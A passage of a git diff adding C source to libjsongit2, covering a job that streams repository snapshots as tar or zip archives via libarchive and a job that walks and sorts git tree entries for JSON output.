own context.\n+ *\n+ * The tree is not walked from libgit2 side but using a stateful directory\n+ * stack per context.\n+ *\n+ * To cover the impedence mismatch between the compressor buffer size and its\n+ * trigger to spill (on my libarchive version, it's spilled when the compressed\n+ * data reaches 64KiB or so, in lumps of 10KiB) and whatever the user buffer\n+ * size is, this code uses the LAC \u0022linear_alloc_chunk\u0022 bufferlists as needed.\n+ * If you are using a 4KiB user buffer then, the peak buffer requirement in that\n+ * case from this code is 60KiB.\n+ */\n+\n+#include \u0022../private.h\u0022\n+\n+#include \u003cstdio.h\u003e\n+#include \u003cstring.h\u003e\n+\n+enum {\n+\tCOMP_TAR_GZ,\n+\tCOMP_TAR_BZ2,\n+\tCOMP_TAR_XZ,\n+\tCOMP_ZIP,\n+};\n+\n+static ssize_t\n+a_write(struct archive *a, void *user, const void *p, size_t len)\n+{\n+\tstruct jg2_ctx *ctx \u003d (struct jg2_ctx *)user;\n+\tsize_t avail \u003d lws_ptr_diff(ctx-\u003eend, ctx-\u003ep), use \u003d len;\n+\n+\tif (avail \u003c use)\n+\t\tuse \u003d avail;\n+\n+\tfprintf(stderr, \u0022xxxxx\u005cn\u0022);\n+\tlwsl_err(\u0022%s: len %d, use %d\u005cn\u0022, __func__, (int)len, (int)use);\n+\n+\tmemcpy(ctx-\u003ep, p, use);\n+\tctx-\u003ep +\u003d use;\n+\n+\tif (use \u003c len) {\n+\t\t/*\n+\t\t * We can't really control how much the caller will issue.\n+\t\t *\n+\t\t * If it's more than we can pass on right now, collect it and\n+\t\t * anything else that comes before we can flush into the ctx\n+\t\t * LAC buffer\n+\t\t */\n+\n+\t\tchar *chunk \u003d lac_use(\u0026ctx-\u003elac_head, len - use, 0);\n+\n+\t\tif (!chunk)\n+\t\t\treturn -1;\n+\n+\t\tmemcpy(chunk, (const char *)p + use, len - use);\n+\n+\t\tif (!ctx-\u003elac) {\n+\t\t\tctx-\u003elac \u003d ctx-\u003elac_head;\n+\t\t\tctx-\u003elacpos \u003d sizeof(*ctx-\u003elac);\n+\t\t}\n+\n+\t\tlwsl_notice(\u0022%s: stashed in lac: %d, lacpos: %d\u005cn\u0022, __func__,\n+\t\t\t (int)(len -use), (int)ctx-\u003elacpos);\n+\t}\n+\n+\t/* claim that we used everything, even if some went in a LAC */\n+\n+\treturn len;\n+}\n+\n+static int\n+a_open(struct archive *a, void *user)\n+{\n+\treturn 0;\n+}\n+\n+static int\n+a_close(struct archive *a, void *user)\n+{\n+\treturn 0;\n+}\n+\n+\n+/*\n+ * the ref to snapshot, and the format to produce is found inside the \u0022path\u0022:\n+ *\n+ * reponame-sortaref.format\n+ *\n+ * - reponame- is redundant\n+ * - sortaref is a branch name, tag name, or commit hash.\n+ * - format is .tar.bz2 etc\n+ *\n+ * Eg, myproject-v1.1.tar.bz2\n+ */\n+\n+static int\n+job_snapshot_start(struct jg2_ctx *ctx)\n+{\n+\tint e, l, n, comp \u003d -1;\n+\tconst char *p, *p1;\n+\tgit_generic_ptr u;\n+\tchar pure[256];\n+\tgit_commit *c;\n+\tgit_oid oid;\n+\n+\tif (!ctx-\u003ehex_oid[0]) {\n+\t\tlwsl_err(\u0022no oid\u005cn\u0022);\n+\t\treturn 1;\n+\t}\n+\n+\tctx-\u003ecount \u003d 0;\n+\tctx-\u003epos \u003d 0;\n+\tctx-\u003etei \u003d NULL;\n+\n+\tif (!ctx-\u003esr.e[JG2_PE_PATH]) {\n+\t\tlwsl_err(\u0022%s: missing path\u005cn\u0022, __func__);\n+\n+\t\treturn -1;\n+\t}\n+\n+\tp1 \u003d strrchr(ctx-\u003esr.e[JG2_PE_PATH], '-');\n+\tif (!p1) {\n+\t\tlwsl_err(\u0022%s: missing -rev...\u005cn\u0022, __func__);\n+\n+\t\treturn -1;\n+\t}\n+\n+\tp1++;\n+\n+\tp \u003d ctx-\u003esr.e[JG2_PE_PATH];\n+\tl \u003d strlen(p);\n+\tif (l \u003c 8)\n+\t\treturn -1;\n+\n+\tif (!strcmp(p + l - 7, \u0022.tar.gz\u0022)) {\n+\t\tp +\u003d l - 7;\n+\t\tcomp \u003d COMP_TAR_GZ;\n+\t} else\n+\t\tif (!strcmp(p + l - 8, \u0022.tar.bz2\u0022)) {\n+\t\t\tp +\u003d l - 8;\n+\t\t\tcomp \u003d COMP_TAR_BZ2;\n+\t\t} else\n+\t\t\tif (!strcmp(p + l - 4, \u0022.zip\u0022)) {\n+\t\t\t\tp +\u003d l - 4;\n+\t\t\t\tcomp \u003d COMP_ZIP;\n+\t\t\t} else\n+\t\t\t\tif (!strcmp(p + l - 7, \u0022.tar.xz\u0022)) {\n+\t\t\t\t\tp +\u003d l - 7;\n+\t\t\t\t\tcomp \u003d COMP_TAR_XZ;\n+\t\t\t\t} else {\n+\t\t\t\t\tlwsl_err(\u0022%s: unknown archive type\u005cn\u0022,\n+\t\t\t\t\t\t __func__);\n+\n+\t\t\t\t\treturn -1;\n+\t\t\t\t}\n+\n+\tp1 \u003d strchr(ctx-\u003esr.e[JG2_PE_PATH], '-');\n+\t/*\n+\t * avoid false positive from coverity... we already checked above and\n+\t * know for certain there is a '-' in this string using strrchr...\n+\t */\n+\tif (!p1)\n+\t\treturn -1;\n+\tp1++;\n+\tn \u003d 0;\n+\twhile (p1 \u003c p \u0026\u0026 n \u003c (int)sizeof(ctx-\u003ehex_oid) - 1)\n+\t\tctx-\u003ehex_oid[n++] \u003d *p1++;\n+\tctx-\u003ehex_oid[n] \u003d '\u005c0';\n+\n+\t/* priority 1: branch (refs/heads/) */\n+\n+\tlws_snprintf(pure, sizeof(pure), \u0022refs/heads/%s\u0022, ctx-\u003ehex_oid);\n+\tif (git_reference_name_to_id(\u0026oid, ctx-\u003ejrepo-\u003erepo, pure)) {\n+\n+\t\t/* priority 2: tag (refs/tags/) */\n+\n+\t\tlws_snprintf(pure, sizeof(pure), \u0022refs/tags/%s\u0022, ctx-\u003ehex_oid);\n+\t\tif (git_reference_name_to_id(\u0026oid, ctx-\u003ejrepo-\u003erepo, pure)) {\n+\n+\t\t\t/* priority 3: oid */\n+\n+\t\t\tif (git_oid_fromstr(\u0026oid, ctx-\u003ehex_oid)) {\n+\t\t\t\tlwsl_err(\u0022%s: can't interpret ref %s\u005cn\u0022,\n+\t\t\t\t\t __func__, ctx-\u003ehex_oid);\n+\n+\t\t\t\treturn -1;\n+\t\t\t}\n+\t\t}\n+\t}\n+\n+\te \u003d git_object_lookup(\u0026u.obj, ctx-\u003ejrepo-\u003erepo, \u0026oid, GIT_OBJ_ANY);\n+\tif (e \u003c 0) {\n+\t\tlwsl_err(\u0022git_object_lookup failed\u005cn\u0022);\n+\t\treturn -1;\n+\t}\n+\n+\tif (git_object_type(u.obj) !\u003d GIT_OBJ_COMMIT) {\n+\t\tlwsl_err(\u0022git object not a commit\u005cn\u0022);\n+\t\tgoto bail;\n+\t}\n+\n+\t/* convert the commit object to a tree object */\n+\n+\tc \u003d u.commit;\n+\tif (git_commit_tree(\u0026u.tree, u.commit)) {\n+\t\tlwsl_err(\u0022no tree from commit\u005cn\u0022);\n+\t\tgoto bail;\n+\t}\n+\n+\tgit_commit_free(c);\n+\n+\tctx-\u003ea \u003d archive_write_new();\n+\tswitch(comp) {\n+\tcase COMP_TAR_GZ:\n+\t\tarchive_write_add_filter_gzip(ctx-\u003ea);\n+\t\tarchive_write_set_format_ustar(ctx-\u003ea);\n+\t\tbreak;\n+\tcase COMP_TAR_BZ2:\n+\t\tarchive_write_add_filter_bzip2(ctx-\u003ea);\n+\t\tarchive_write_set_format_ustar(ctx-\u003ea);\n+\t\tbreak;\n+\tcase COMP_TAR_XZ:\n+\t\tarchive_write_add_filter_xz(ctx-\u003ea);\n+\t\tarchive_write_set_format_ustar(ctx-\u003ea);\n+\t\tbreak;\n+\tcase COMP_ZIP:\n+\t\tarchive_write_set_format_zip(ctx-\u003ea);\n+\t\tbreak;\n+\t}\n+\n+\te \u003d archive_write_open(ctx-\u003ea, ctx, a_open, a_write, a_close);\n+\tif (e) {\n+\t\tlwsl_err(\u0022%s: archive_write_open said %d\u005cn\u0022, __func__, e);\n+\n+\t\tgoto bail;\n+\t}\n+\n+\tn \u003d lws_ptr_diff(p, ctx-\u003esr.e[JG2_PE_PATH]);\n+\tif (n \u003e (int)sizeof(pure) - 2)\n+\t\tn \u003d (int)sizeof(pure) - 2;\n+\n+\tstrncpy(pure, ctx-\u003esr.e[JG2_PE_PATH], n);\n+\tpure[n++] \u003d '/';\n+\tpure[n] \u003d '\u005c0';\n+\n+\tctx-\u003esp \u003d 0;\n+\tctx-\u003estack[ctx-\u003esp].tree \u003d u.tree;\n+\tctx-\u003estack[ctx-\u003esp].path \u003d strdup(pure);\n+\tif (!ctx-\u003estack[ctx-\u003esp].path)\n+\t\tgoto bail;\n+\tctx-\u003estack[ctx-\u003esp].index \u003d 0;\n+\n+\treturn 0;\n+\n+bail:\n+\tif (u.obj) {\n+\t\tgit_object_free(u.obj);\n+\t\tu.obj \u003d NULL;\n+\t}\n+\n+\tarchive_write_free(ctx-\u003ea);\n+\n+\treturn -1;\n+}\n+\n+static void\n+job_snapshot_destroy(struct jg2_ctx *ctx)\n+{\n+\tint n \u003d ctx-\u003esp;\n+\n+\twhile (n \u003e\u003d 0) {\n+\t\tif (ctx-\u003estack[n].tree) {\n+\t\t\tif (ctx-\u003estack[n].path)\n+\t\t\t\tfree(ctx-\u003estack[n].path);\n+\t\t\tif (ctx-\u003estack[n].tree)\n+\t\t\t\tgit_tree_free(ctx-\u003estack[n].tree);\n+\t\t\tctx-\u003estack[n].tree \u003d NULL;\n+\t\t}\n+\t\tn--;\n+\t}\n+\n+\tif (ctx-\u003eu.obj) {\n+\t\tgit_object_free(ctx-\u003eu.obj);\n+\t\tctx-\u003eu.obj \u003d NULL;\n+\t}\n+\n+\tlac_free(\u0026ctx-\u003elac_head);\n+\n+\tctx-\u003ejob \u003d NULL;\n+}\n+\n+int\n+job_snapshot(struct jg2_ctx *ctx)\n+{\n+\tstruct archive_entry *ae;\n+\tsize_t avail, nc, use;\n+\tchar path[256];\n+\tint n;\n+\n+\tif (ctx-\u003edestroying) {\n+\t\tjob_snapshot_destroy(ctx);\n+\n+\t\treturn 0;\n+\t}\n+\n+\tif (!ctx-\u003epartway \u0026\u0026 job_snapshot_start(ctx)) {\n+\t\tlwsl_err(\u0022%s: start failed (%s)\u005cn\u0022, __func__, ctx-\u003ehex_oid);\n+\t\treturn -1;\n+\t}\n+\n+\tif (ctx-\u003elac) {\n+\n+\t\t/*\n+\t\t * ah, we have some stashed in a side-buffer LAC we need to\n+\t\t * replay before we can issue any new archive data\n+\t\t */\n+\n+\t\twhile (ctx-\u003elac \u0026\u0026 ctx-\u003ep !\u003d ctx-\u003eend) {\n+\t\t\tavail \u003d lws_ptr_diff(ctx-\u003eend, ctx-\u003ep);\n+\t\t\tuse \u003d nc \u003d ctx-\u003elac-\u003eofs - ctx-\u003elacpos;\n+\n+\t\t\tif (use \u003e avail)\n+\t\t\t\tuse \u003d avail;\n+\n+\t\t\tlwsl_notice(\u0022%s: replay from lac use %d\u005cn\u0022,\n+\t\t\t\t\t__func__, (int)use);\n+\n+\t\t\tmemcpy(ctx-\u003ep, ((char *)ctx-\u003elac) + ctx-\u003elacpos,\n+\t\t\t use);\n+\n+\t\t\tctx-\u003ep +\u003d use;\n+\t\t\tctx-\u003elacpos +\u003d use;\n+\n+\t\t\tif (ctx-\u003elacpos \u003d\u003d ctx-\u003elac-\u003eofs) {\n+\t\t\t\t/* if any, move to next chunk... */\n+\t\t\t\tctx-\u003elacpos \u003d sizeof(*ctx-\u003elac);\n+\t\t\t\tctx-\u003elac \u003d ctx-\u003elac-\u003enext;\n+\n+\t\t\t\t/* if nothing left, free the LAC chain */\n+\t\t\t\tif (!ctx-\u003elac) {\n+\t\t\t\t\tlwsl_notice(\u0022the lac chain is emptied\u005cn\u0022);\n+\t\t\t\t\tlac_free(\u0026ctx-\u003elac_head);\n+\t\t\t\t} else\n+\t\t\t\t\tlwsl_notice(\u0022moved to next lac\u005cn\u0022);\n+\t\t\t}\n+\t\t}\n+\n+\t\t/*\n+\t\t * either ran out of onward buffer space,\n+\t\t * or replayed the whole LAC chain and can move on with new\n+\t\t * archive data...\n+\t\t */\n+\t}\n+\n+\tif (!ctx-\u003elac \u0026\u0026 ctx-\u003ewaiting_replay_done \u0026\u0026 !ctx-\u003earchive_completion) {\n+\t\t/*\n+\t\t * Close Step 2 is when we know we are waiting for no LAC left,\n+\t\t * there is no LAC left, and we want to close, logically close\n+\t\t * the archive and set a second flag that next time we see\n+\t\t * no LAC left, we are really done.\n+\t\t */\n+\t\tarchive_write_close(ctx-\u003ea);\n+\n+\t\tctx-\u003earchive_completion \u003d 1;\n+\t}\n+\n+\twhile (!ctx-\u003ewaiting_replay_done \u0026\u0026 !ctx-\u003elac \u0026\u0026\n+\t JG2_HAS_SPACE(ctx, 1024)) {\n+\t\tstruct tree_iter_level *lev \u003d \u0026ctx-\u003estack[ctx-\u003esp];\n+\t\tconst git_tree_entry *te;\n+\n+\t\t/*\n+\t\t * are we in the middle of archiving an existing blob?\n+\t\t */\n+\n+\t\tif (ctx-\u003ebody) {\n+\t\t\tavail \u003d lws_ptr_diff(ctx-\u003eend, ctx-\u003ep);\n+\t\t\tuse \u003d nc \u003d ctx-\u003esize - ctx-\u003epos;\n+\n+\t\t\tif (use \u003e avail)\n+\t\t\t\tuse \u003d avail;\n+\n+\t\t\tarchive_write_data(ctx-\u003ea, ctx-\u003ebody + ctx-\u003epos, use);\n+\n+\t\t\tctx-\u003epos +\u003d use;\n+\n+\t\t\tif (nc \u003d\u003d use) {\n+\t\t\t\tctx-\u003ebody \u003d NULL;\n+\t\t\t\tctx-\u003epos \u003d 0;\n+\n+\t\t\t\tgit_blob_free(ctx-\u003eu.blob);\n+\t\t\t\tctx-\u003eu.blob \u003d NULL;\n+\t\t\t}\n+\n+\t\t\tcontinue;\n+\t\t}\n+\n+\t\t/*\n+\t\t * we need to archive the next thing in our tree walk then...\n+\t\t */\n+\n+\t\tte \u003d git_tree_entry_byindex(lev-\u003etree, lev-\u003eindex++);\n+\t\tif (!te) {\n+\n+\t\t\t/* this was the end of our current subtree... */\n+\n+\t\t\tfree(lev-\u003epath);\n+\t\t\tlev-\u003epath \u003d NULL;\n+\t\t\tgit_tree_free(lev-\u003etree);\n+\t\t\tlev-\u003etree \u003d NULL;\n+\t\t\tlev-\u003eindex \u003d 0;\n+\n+\t\t\tif (ctx-\u003esp)\n+\t\t\t\t/* let's go back up a level and continue... */\n+\t\t\t\tctx-\u003esp--;\n+\t\t\telse\n+\t\t\t\t/*\n+\t\t\t\t * oh... we have finished the root tree...\n+\t\t\t\t *\n+\t\t\t\t * However we need to take care, the close\n+\t\t\t\t * action will usually flush pending write data\n+\t\t\t\t * that may require stashing in a LAC and\n+\t\t\t\t * replaying... so we have to stage the close,\n+\t\t\t\t * step 1 is set a flag we're waiting for all\n+\t\t\t\t * replay done...\n+\t\t\t\t */\n+\n+\t\t\t\tctx-\u003ewaiting_replay_done \u003d 1;\n+\n+\t\t\tcontinue;\n+\t\t}\n+\n+\t\tswitch (git_tree_entry_type(te)) {\n+\n+\t\tcase GIT_OBJ_TREE:\n+\n+\t\t\tif (ctx-\u003esp \u003d\u003d JG2_ARRAY_SIZE(ctx-\u003estack) - 1) {\n+\t\t\t\tlwsl_err(\u0022%s: too many dir levels %d\u005cn\u0022,\n+\t\t\t\t\t __func__, ctx-\u003esp + 1);\n+\n+\t\t\t\tgoto error_out;\n+\t\t\t}\n+\n+\t\t\tlws_snprintf(path, sizeof(path), \u0022%s%s/\u0022, lev-\u003epath,\n+\t\t\t\t git_tree_entry_name(te));\n+\n+\t\t\tlev \u003d \u0026ctx-\u003estack[ctx-\u003esp + 1];\n+\t\t\tif (git_tree_lookup(\u0026lev-\u003etree, ctx-\u003ejrepo-\u003erepo,\n+\t\t\t\t\t git_tree_entry_id(te))) {\n+\t\t\t\tlwsl_err(\u0022%s: unable to get tree\u005cn\u0022, __func__);\n+\n+\t\t\t\tgoto error_out;\n+\t\t\t}\n+\n+\t\t\tlev-\u003epath \u003d strdup(path);\n+\t\t\tif (!lev-\u003epath)\n+\t\t\t\tgoto error_out;\n+\n+\t\t\tlev-\u003eindex \u003d 0;\n+\n+\t\t\t/* officially go down to the next level */\n+\t\t\tctx-\u003esp++;\n+\t\t\tbreak;\n+\n+\t\tcase GIT_OBJ_BLOB:\n+\n+\t\t\tif (git_blob_lookup(\u0026ctx-\u003eu.blob, ctx-\u003ejrepo-\u003erepo,\n+\t\t\t\t\t git_tree_entry_id(te))) {\n+\t\t\t\tlwsl_err(\u0022%s: unable to get blob\u005cn\u0022, __func__);\n+\n+\t\t\t\tgoto error_out;\n+\t\t\t}\n+\n+\t\t\tctx-\u003ebody \u003d git_blob_rawcontent(ctx-\u003eu.blob);\n+\t\t\tctx-\u003epos \u003d 0;\n+\t\t\tctx-\u003esize \u003d git_blob_rawsize(ctx-\u003eu.blob);\n+\n+\t\t\tae \u003d archive_entry_new2(ctx-\u003ea);\n+\t\t\tif (!ae) {\n+\t\t\t\tlwsl_err(\u0022%s: unable to get tree\u005cn\u0022, __func__);\n+\n+\t\t\t\tgoto error_out;\n+\t\t\t}\n+\n+\t\t\tlws_snprintf(path, sizeof(path), \u0022%s%s\u0022, lev-\u003epath,\n+\t\t\t\t git_tree_entry_name(te));\n+\n+\t\t\tarchive_entry_set_pathname(ae, path);\n+\t\t\tarchive_entry_set_perm(ae, git_tree_entry_filemode(te));\n+\t\t\tarchive_entry_set_size(ae, ctx-\u003esize);\n+\t\t\tarchive_entry_set_filetype(ae, AE_IFREG);\n+\n+\t\t\tn \u003d archive_write_header(ctx-\u003ea, ae);\n+\t\t\tarchive_entry_free(ae);\n+\t\t\tif (n) {\n+\t\t\t\tlwsl_err(\u0022%s: problem writing header: %d\u005cn\u0022,\n+\t\t\t\t\t __func__, n);\n+\n+\t\t\t\tgoto error_out;\n+\t\t\t}\n+\t\t\tbreak;\n+\n+\t\tdefault:\n+\t\t\tlwsl_err(\u0022%s: unexpected GIT_OBJ_ %d\u005cn\u0022, __func__,\n+\t\t\t\t\tgit_tree_entry_type(te));\n+\n+\t\t\tgoto error_out;\n+\t\t}\n+\t}\n+\n+\tif (ctx-\u003earchive_completion \u0026\u0026 !ctx-\u003elac) {\n+\n+\t\t/*\n+\t\t * Close step 3 is seeing no LAC left pending again after\n+\t\t * step 2.\n+\t\t *\n+\t\t * It's really the end, with the archive logically closed, and\n+\t\t * anything buffered flushed into the caller buffer too.\n+\t\t */\n+\t\tarchive_write_free(ctx-\u003ea);\n+\t\tctx-\u003ea \u003d NULL;\n+\n+\t\tctx-\u003efinal \u003d 1;\n+\t\tjob_snapshot_destroy(ctx);\n+\t}\n+\n+\treturn 0;\n+\n+error_out:\n+\tlwsl_err(\u0022%s: failing out\u005cn\u0022, __func__);\n+\n+\tarchive_write_close(ctx-\u003ea);\n+\tarchive_write_free(ctx-\u003ea);\n+\n+\tctx-\u003efinal \u003d 1;\n+\tjob_snapshot_destroy(ctx);\n+\n+\treturn -1;\n+}\ndiff --git a/lib/job/tree.c b/lib/job/tree.c\nnew file mode 100644\nindex 0000000..e1d3c1a\n--- /dev/null\n+++ b/lib/job/tree.c\n@@ -0,0 +1,429 @@\n+/*\n+ * libjsongit2 - tree\n+ *\n+ * Copyright (C) 2018 Andy Green \u003candy@warmcat.com\u003e\n+ *\n+ * This library is free software; you can redistribute it and/or\n+ * modify it under the terms of the GNU Lesser General Public\n+ * License as published by the Free Software Foundation:\n+ * version 2.1 of the License.\n+ *\n+ * This library is distributed in the hope that it will be useful,\n+ * but WITHOUT ANY WARRANTY; without even the implied warranty of\n+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n+ * Lesser General Public License for more details.\n+ *\n+ * You should have received a copy of the GNU Lesser General Public\n+ * License along with this library; if not, write to the Free Software\n+ * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,\n+ * MA 02110-1301 USA\n+ */\n+\n+#include \u0022../private.h\u0022\n+\n+#include \u003cstdio.h\u003e\n+#include \u003cstring.h\u003e\n+\n+#define lp_to_te(p, _n) list_ptr_container(p, struct tree_entry_info, _n)\n+\n+static int\n+tei_alpha_sort(list_ptr a, list_ptr b)\n+{\n+\tstruct tree_entry_info *p1 \u003d lp_to_te(a, next),\n+\t\t\t *p2 \u003d lp_to_te(b, next);\n+\n+\t/* directories go at the top */\n+\tif ((p1-\u003emode \u0026 16384) !\u003d (p2-\u003emode \u0026 16384))\n+\t\treturn !!(p2-\u003emode \u0026 16384) - !!(p1-\u003emode \u0026 16384);\n+\n+\treturn strcmp((const char *)(p1 + 1), (const char *)(p2 + 1));\n+}\n+\n+/*\n+ * For efficiency, we dump results linearly in a linked-list of \u0022chunk\u0022\n+ * allocations, adding to it as needed. It means we have much less allocation\n+ * that using one per-object. See ./lib/lac/README.md\n+ *\n+ * Each entry is part of a sorted linked-list held inside the\n+ * struct tree_entry_info\n+ *\n+ * The objects consist of\n+ *\n+ * [ struct tree_entry_info ] [ name string NUL terminated ]\n+ *\n+ */\n+\n+static int\n+treewalk_cb(const char *root, const git_tree_entry *entry, void *payload)\n+{\n+\tstruct jg2_ctx *ctx \u003d payload;\n+\tstruct tree_entry_info *tei;\n+\tconst char *name;\n+\tgit_blob *blob;\n+\tgit_otype type;\n+\tsize_t m;\n+\n+\ttype \u003d git_tree_entry_type(entry);\n+\tname \u003d git_tree_entry_name(entry);\n+\tm \u003d strlen(name) + 1;\n+\n+\ttei \u003d lac_use(\u0026ctx-\u003elac_head, sizeof(*tei) + m, 0);\n+\tif (!tei) {\n+\t\tlwsl_err(\u0022OOM\u005cn\u0022);\n+\n+\t\treturn -1;\n+\t}\n+\n+\ttei-\u003eoid \u003d git_tree_entry_id(entry);\n+\ttei-\u003emode \u003d git_tree_entry_filemode(entry);\n+\ttei-\u003enamelen \u003d m - 1;\n+\ttei-\u003etype \u003d type;\n+\ttei-\u003esize \u003d 0;\n+\n+\tif (type \u003d\u003d GIT_OBJ_BLOB \u0026\u0026\n+\t !git_blob_lookup(\u0026blob, ctx-\u003ejrepo-\u003erepo, tei-\u003eoid)) {\n+\t\ttei-\u003esize \u003d git_blob_rawsize(blob);\n+\t\tgit_blob_free(blob);\n+\t}\n+\n+\t/* copy the name into place; lac is already advanced and aligned */\n+\n+\tmemcpy(tei + 1, name, m);\n+\n+\tlist_ptr_insert(\u0026ctx-\u003esorted_head, \u0026tei-\u003enext, tei_alpha_sort);\n+\n+\treturn type \u003d\u003d GIT_OBJ_TREE; /* don't go inside trees */\n+}\n+\n+static void\n+job_tree_destroy(struct jg2_ctx *ctx)\n+{\n+\tlac_free(\u0026ctx-\u003elac_head);\n+\tctx-\u003esorted_head \u003d NULL;\n+\n+\tif (ctx-\u003eu.tree) {\n+\t\tgit_tree_free(ctx-\u003eu.tree);\n+\t\tctx-\u003eu.tree \u003d NULL;\n+\t}\n+\tctx-\u003ejob \u003d NULL;\n+}\n+\n+static int\n+job_tree_start(struct jg2_ctx *ctx)\n+{\n+\tgit_tree_entry *te;\n+\tgit_generic_ptr u;\n+\tchar pure[256];\n+\tgit_commit *c;\n+\tgit_oid oid;\n+\tint e;\n+\n+\tif (!ctx-\u003ehex_oid[0]) {\n+\t\tlwsl_err(\u0022no oid\u005cn\u0022);\n+\n+\t\treturn 1;\n+\t}\n+\n+\tctx-\u003ecount \u003d 0;\n+\tctx-\u003epos \u003d 0;\n+\tctx-\u003etei \u003d NULL;\n+\n+\tif (ctx-\u003ehex_oid[0] \u003d\u003d 'r') {\n+\t\te \u003d git_reference_name_to_id(\u0026oid, ctx-\u003ejrepo-\u003erepo,\n+\t\t\t\t\t ctx-\u003ehex_oid);\n+\t\tif (e \u003c 0) {\n+\t\t\tlwsl_err(\u0022%s: unable to lookup ref '%s': %d\u005cn\u0022,\n+\t\t\t\t __func__, ctx-\u003ehex_oid, e);\n+\n+\t\t\treturn -1;\n+\t\t}\n+\t} else\n+\t\tif (git_oid_fromstr(\u0026oid, ctx-\u003ehex_oid)) {\n+\t\t\tlwsl_err(\u0022no oid from string\u005cn\u0022);\n+\n+\t\t\treturn -1;\n+\t\t}\n+\n+\te \u003d git_object_lookup(\u0026u.obj, ctx-\u003ejrepo-\u003erepo, \u0026oid, GIT_OBJ_ANY);\n+\tif (e \u003c 0) {\n+\t\tlwsl_err(\u0022git_object_lookup failed\u005cn\u0022);\n+\t\treturn -1;\n+\t}\n+\n+\tif (git_object_type(u.obj) !\u003d GIT_OBJ_COMMIT) {\n+\t\tlwsl_err(\u0022git object not a commit\u005cn\u0022);\n+\t\tgoto bail;\n+\t}\n+\n+\t/* convert the commit object to a tree object */\n+\n+\tc \u003d u.commit;\n+\tif (git_commit_tree(\u0026u.tree, u.commit)) {\n+\t\tlwsl_err(\u0022no tree from commit\u005cn\u0022);\n+\t\tgoto bail;\n+\t}\n+\n+\tgit_commit_free(c);\n+\n+\tif (ctx-\u003esr.e[JG2_PE_PATH] \u0026\u0026 ctx-\u003esr.e[JG2_PE_PATH][0]) {\n+\t\tif (git_tree_entry_bypath(\u0026te, u.tree,\n+\t\t\t\t\t ctx-\u003esr.e[JG2_PE_PATH])) {\n+\t\t\tlwsl_err(\u0022%s: git_tree_entry_bypath %s failed\u005cn\u0022,\n+\t\t\t\t __func__, ctx-\u003esr.e[JG2_PE_PATH]);\n+\t\t\tlws_snprintf(ctx-\u003estatus, sizeof(ctx-\u003estatus),\n+\t\t\t\t \u0022Path '%s' doesn't exist in revision '%s'\u0022,\n+\t\t\t\t ctx-\u003esr.e[JG2_PE_PATH], ctx-\u003ehex_oid);\n+\n+\t\t\tgoto bail;\n+\t\t}\n+\n+\t\tgit_tree_free(u.tree);\n+\t\tu.obj \u003d NULL;\n+\n+\t\te \u003d git_tree_entry_to_object(\u0026u.obj, ctx-\u003ejrepo-\u003erepo, te);\n+\t\tgit_tree_entry_free(te);\n+\t\tif (e) {\n+\t\t\tlwsl_err(\u0022git_tree_entry_to_object failed\u005cn\u0022);\n+\t\t\tgoto bail;\n+\t\t}\n+\t}\n+\n+\tctx-\u003eu \u003d u;\n+\n+\t/*\n+\t * /tree/ mode urls are followed by a \u0022path\u0022 element inside the tree.\n+\t *\n+\t * These can consist of either a dir path, which we want to use to\n+\t * restrict where we walk the tree, or a blob path.\n+\t *\n+\t * If it's a blob path, we don't walk the tree to show the dir listing,\n+\t * but show the blob as best we can.\n+\t */\n+\n+\tif (git_object_type(u.obj) \u003d\u003d GIT_OBJ_BLOB) {\n+\t\tconst char *p \u003d ctx-\u003esr.e[JG2_PE_PATH], *p1;\n+\n+\t\tctx-\u003ebody \u003d git_blob_rawcontent(u.blob);\n+\t\tctx-\u003esize \u003d git_blob_rawsize(u.blob);\n+\t\tctx-\u003epos \u003d 0;\n+\n+\t\tif (ctx-\u003esr.e[JG2_PE_MODE] \u0026\u0026\n+\t\t !strcmp(ctx-\u003esr.e[JG2_PE_MODE], \u0022blame\u0022) \u0026\u0026\n+\t\t ctx-\u003esr.e[JG2_PE_PATH] !\u003d ctx-\u003einline_filename) {\n+\t\t\t/* we want to send blame info after this */\n+\t\t\tctx-\u003emeta_last_job \u003d 0;\n+\t\t\tctx-\u003eblame_after_tree \u003d 1;\n+\t\t}\n+\n+\t\tmeta_header(ctx);\n+\t\tpure[0] \u003d '\u005c0';\n+\n+\t\tif (p) {\n+\t\t\tp1 \u003d strrchr(p + strlen(p) - 1, '/');\n+\t\t\tif (p1)\n+\t\t\t\tp \u003d p1 + 1;\n+\t\t}\n+\t\tellipsis_purify(pure, p, sizeof(pure));\n+\n+\t\tjob_common_header(ctx);\n+\n+\t\tCTX_BUF_APPEND(\u0022\u005c\u0022oid\u005c\u0022:\u0022);\n+\t\tjg2_json_oid(\u0026oid, ctx);\n+\t\tCTX_BUF_APPEND(\u0022,\u005c\u0022blobname\u005c\u0022: \u005c\u0022%s\u005c\u0022, \u0022, pure);\n+\n+\t\tif (!git_blob_is_binary(u.blob)) {\n+\t\t\tCTX_BUF_APPEND(\u0022\u005c\u0022blob\u005c\u0022: \u005c\u0022\u0022);\n+\t\t\treturn 0;\n+\t\t}\n+\n+\t\tstrncpy(pure, ctx-\u003evhost-\u003ecfg.virtual_base_urlpath,\n+\t\t\tsizeof(pure) - 1);\n+\t\tpure[sizeof(pure) - 1] \u003d '\u005c0';\n+\n+\t\tif (strlen(pure) \u003e 1)\n+\t\t\tstrcat(pure, \u0022/\u0022);\n+\n+\t\tellipsis_purify(pure + strlen(pure), ctx-\u003esr.e[JG2_PE_NAME],\n+\t\t\t\tsizeof(pure) - strlen(pure));\n+\t\tCTX_BUF_APPEND(\u0022 \u005c\u0022bloblink\u005c\u0022: \u005c\u0022%s/plain/\u0022, pure);\n+\t\tellipsis_purify(pure, ctx-\u003esr.e[JG2_PE_PATH], sizeof(pure) - 5);\n+\n+\t\tstrcat(pure, \u0022\u005c\u0022 \u0022);\n+\n+\t\tgit_blob_free(u.blob);\n+\t\tctx-\u003eu.obj \u003d NULL;\n+\t\tctx-\u003ebody \u003d NULL;\n+\n+\t\tmeta_trailer(ctx, pure);\n+\t\tjob_tree_destroy(ctx);\n+\n+\t\treturn 0;\n+\t}\n+\n+\t/* so the first part is walk the tree level and collect the objects */\n+\n+\te \u003d git_tree_walk(ctx-\u003eu.tree, GIT_TREEWALK_PRE, treewalk_cb, ctx);\n+\tif (e \u003c 0) {\n+\t\tconst git_error *er \u003d giterr_last();\n+\n+\t\tlwsl_err(\u0022Failed to collect the tree objects: %d\u005cn\u0022, e);\n+\t\tif (er)\n+\t\t\tlwsl_err(\u0022err %d: 